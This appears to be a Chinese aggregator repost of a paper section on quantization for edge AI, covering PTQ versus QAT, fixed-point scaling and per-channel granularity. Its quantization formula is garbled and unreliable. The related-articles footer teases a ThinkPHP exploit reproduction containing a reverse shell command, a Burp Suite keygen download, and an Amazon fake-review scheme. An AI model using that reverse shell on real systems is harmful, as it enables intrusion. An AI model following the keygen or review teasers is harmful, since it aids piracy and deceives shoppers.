量化(Quantization)技术在实现边缘设备智能化中的关键作用

news2024/11/14 18:46:53

节选自论文《Edge AI: Quantization as the Key to On-Device Smartness》的第三节,由YN Dwith Chenna撰写,发表在2023年8月的《International Journal of Artificial Intelligence & Applications》上。论文主要探讨了边缘人工智能(Edge AI)的重要性,以及量化(Quantization)技术在实现边缘设备智能化中的关键作用。

3. 量化(Quantization)

量化是实现边缘AI的关键技术之一。它包括将高精度的浮点数转换为固定点或整数表示的过程,有效减少了AI模型的内存占用和计算需求。通过这样做,量化使得这些模型能够在资源受限的设备上高效运行,同时保持可接受的准确性水平。

3.1 量化技术

量化技术大致可以分为两种类型:后训练量化(Post-Training Quantization, PTQ)和量化感知训练(Quantization-Aware Training, QAT)。

  • 后训练量化(PTQ):这种方法涉及对已经训练好的模型进行量化。这是一种更简单的方法,模型首先使用传统技术进行训练,然后权重和激活被量化以便于部署。尽管这种方法可以显著减小模型大小,但可能会导致一些准确性的损失。

  • 量化感知训练(QAT):这种方法在训练过程中就考虑量化。模型在训练时就考虑到最终的量化,这可以与后训练量化相比获得更好的准确性。这是一个更复杂的过程,需要对训练流程进行修改。

 

3.2 量化方案

本质上,量化涉及将高精度浮点数转换为低精度的固定点或整数表示。这种转换导致内存使用和计算需求的减少,允许神经网络在边缘设备上高效执行。固定点/整数表示使用整数来近似实数,通过引入缩放因子和可能的偏移量来实现所需的精度。给定一个你想要以固定点格式表示的浮点数x,缩放因子为scale,可选的偏移量为offset,固定点表示q可以按照以下方式计算:

q=round(x−offsetscale)q=round(scalex−offset​)

其中round函数用于将除法操作的结果四舍五入到最近的整数,因为固定点数必须是整数。在映射零时需要特别注意,以避免量化误差,零填充是流行的填充操作。

3.3 量化粒度

量化粒度的核心是围绕精度和性能的决策,它涉及决定用于表示整数/固定点表示的位数,以及在不同级别上确定量化参数。

  • 位宽(Bit width):确定用于量化的位数。位数的选择至关重要,因为它直接影响量化表示中可以捕获的细节级别。选择更多的位数,如INT16或INT32,可以确保更高的值表示精度,但会增加内存使用和计算需求。相反,选择较少的位数,如INT4或更少的位数,会减少内存使用和计算开销,但可能导致信息丢失和准确性下降。

  • 每层/每通道(Per-layer/Per-channel):这些策略涉及如何在神经网络的张量之间分配量化粒度。每张量量化涉及在给定张量内的所有值分配相同的量化粒度。这种方法简化了实现和内存管理,但可能无法完全考虑到张量内各个通道中值的变化。每通道量化采取更细粒度的方法,允许张量内各个通道有不同的量化粒度。通道通常表示数据的不同特征或方面,每通道量化允许定制分配位以适应这些通道的不同复杂性和重要性。

选择每张量量化和每通道量化取决于神经网络的特定属性以及它处理的数据的性质。例如,如果某些通道传达了关键细节,而其他通道的信息较少,每通道量化可能是有利的。相反,如果通道具有相似的重要性,每张量量化简化了部署并可能足够。

 论文还提供了量化模型精度的比较表格,展示了对称量化和非对称量化对Mobilenet-v1、Mobilenet-v2、Nasnet-Mobile、Inception-v3、Resnet-v1和Resnet-v2等网络的影响。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1973871.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

thinkphp之命令执行漏洞复现

实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …

【速解焦虑秘籍】5步助你轻松走出焦虑迷雾,拥抱自在生活!

在这个快节奏、高压力的时代,焦虑仿佛成了许多人难以摆脱的“隐形伴侣”。它悄无声息地侵入我们的生活,影响着我们的情绪、工作乃至人际关系。但别担心,今天就带你揭秘“走出焦虑症最快的方法”,通过以下五个实用步骤,…

地理科学专业| 中国大学排行榜(2024年)

地理科学专业| 中国大学排行榜(2024年) 原文链接

拓扑未来数据中台解决方案

概述 传统自动化控制往往聚焦于局部或模块,整体运作状态靠人工管理。缺乏从时间维度观察生产周期的手段,由于生产数据缺失,导致生产过程不透明,过程质量无记录,生产工艺难优化,生产效率难以提升。利用先进…

亚马逊F控期间,如何巧妙运用自养账号进行评价?

亚马逊每年都会经历一段风险控制周期,这一时期往往伴随着商品评价的删除和卖家账户的封禁,对此,经验丰富的卖家们已经习以为常。虽然表面上看是风险控制,但实际上亚马逊只是对消费者的购买行为进行记录。导致账户被封和评论被删除…

【Python】数据类型之详讲字符串(下)

本篇文章继续讲解字符串的功能: (7)字符串内容替换,得到一个新的字符串,原字符串不变。 功能:replace(str1,str2) str1和str2都是字符串,该功能是将字符串中的str1内容替换成str2. 代码举例&…

大模型与高能物理

人工智能大模型是什么?它和我们通常讲的机器学习、深度学习有什么关系?它有什么能力?它在高能物理可能有哪些方面的应用?今天我们浅浅讨论一下这些问题。 一 溯源:从人工智能到机器学习、深度学习和大模型 1 曲折发…

【KAN】【API教程】plot

初始化KAN和创建数据集 from kan import * # create a KAN: 2D inputs, 1D output, and 5 hidden neurons. cubic spline (k=3), 5 grid intervals (grid=5). model = KAN(width=[2,5,1], grid=3, k=3, seed=1)# create dataset f(x,y) = exp(sin(pi*x)+y^2) f = lambda x: to…

MacOS上如何优雅的使用Burp Suite Professional

MacOS上如何注册使用Burp Suite Professional 文章目录 MacOS上如何注册使用Burp Suite Professional一.如何下载二.安装BurpSuite三.注册四.启动五.创建可执行文件六.写在最后 一.如何下载 JDK官网下载 BurpSuite专业版官网下载 [注册机下载]( https://pan.baidu.com/s/10…

Google引领LLM竞赛:Gemini 1.5 Pro的创新与突破

在科技领域,语言模型(LLM, Large Language Model)的发展总是备受瞩目。多年来,Google在这场竞赛中一直处于追赶的状态,但这一次,他们终于站在了领先的位置。Google近日发布了Gemini 1.5 Pro实验版本&#x…

OpenAI API continuing conversation in a dialogue

题意:在对话中继续使用OpenAI API进行对话 问题背景: I am playing around with the openAI API and I am trying to continue a conversation. For example: 我正在尝试使用OpenAI API,并试图继续一段对话。例如: import open…

<数据集>航拍车辆识别数据集<目标检测>

数据集格式:VOCYOLO格式 图片数量:6787张 标注数量(xml文件个数):6787 标注数量(txt文件个数):6787 标注类别数:3 标注类别名称:[Car, Truck, Bus] 序号类别名称图片数框数1Car6494791332Truck250576…

【从零开始一步步学习VSOA开发】快速体验SylixOS

快速体验SylixOS 安装完毕RealEvo-IDE 后,同时也安装了RealEvo-Simulator。RealEvo-Simulator 是一个虚拟运行环境,可以模拟各种体系结构并在其上运行 SylixOS。相比于物理板卡,在 RealEvo-Simulator 进行运行调测更加的方便快捷且成本低廉。…

2024年中国数据中台行业研究报告

数据中台丨研究报告 核心摘要: 数据中台是企业数字化建设的重要构成,其通过整合企业基础设施和数据能力,实现数据资产化和服务复用,降低运营成本,支撑业务创新。受宏观经济影响,部分企业减少了对数据中台等…

java中InputStream, OutputStream 的用法

java针对文件的操作有两种1.文件系统操作 File类指定的路径可以使一个不存在的路径。2,文件内容操作,流对象。 流也分为两种1)字节流(二进制文件):以字节为基本单位读写的使用InputStream()和Ou…

什么是kafka的重平衡机制?

背景 kafka重平衡的主要发生在消费者端,重平衡的目的,主要是为了均衡消费者消费kafka的消息而设计的,对于动态加入消费者,减少消费者,以及消息分区变化这些场景中,若不设计消费者重平衡,容易出…

第十五章 数据管理成熟度评估

定义: 能力成熟度评估: 是是一种基于能力成熟度模型框架的能力提升方案,描述了数据管理能力初始状态发展到最优化的过程。 数据管理成熟度评估:(Data Management Maturity Assessment, DMMA)可用于全面评估…

MySQL——数据表的基本操作(一)创建数据表

数据库创建成功后,就需要创建数据表。所谓创建数据表指的是在已存在的数据库中建立新表。需要注意的是,在操作数据表之前,应该使用 “ USE 数据库名 ” 指定操作是在哪个数据库中进行,否则会抛出 “ No database selected ” 错误。创建数据表…

大路灯护眼灯有必要买吗?五款护眼大路灯推荐

大路灯护眼灯有必要买吗?许多消费者对护眼大路灯的了解不够,总是被不专业产品“耍”得团团转。就比如市面上很多声称用了眼睛就不近视的产品,实际上它们毫无专业技术沉淀,还疏于调校光线稳定性、光线均匀度等上百项核心参数&#…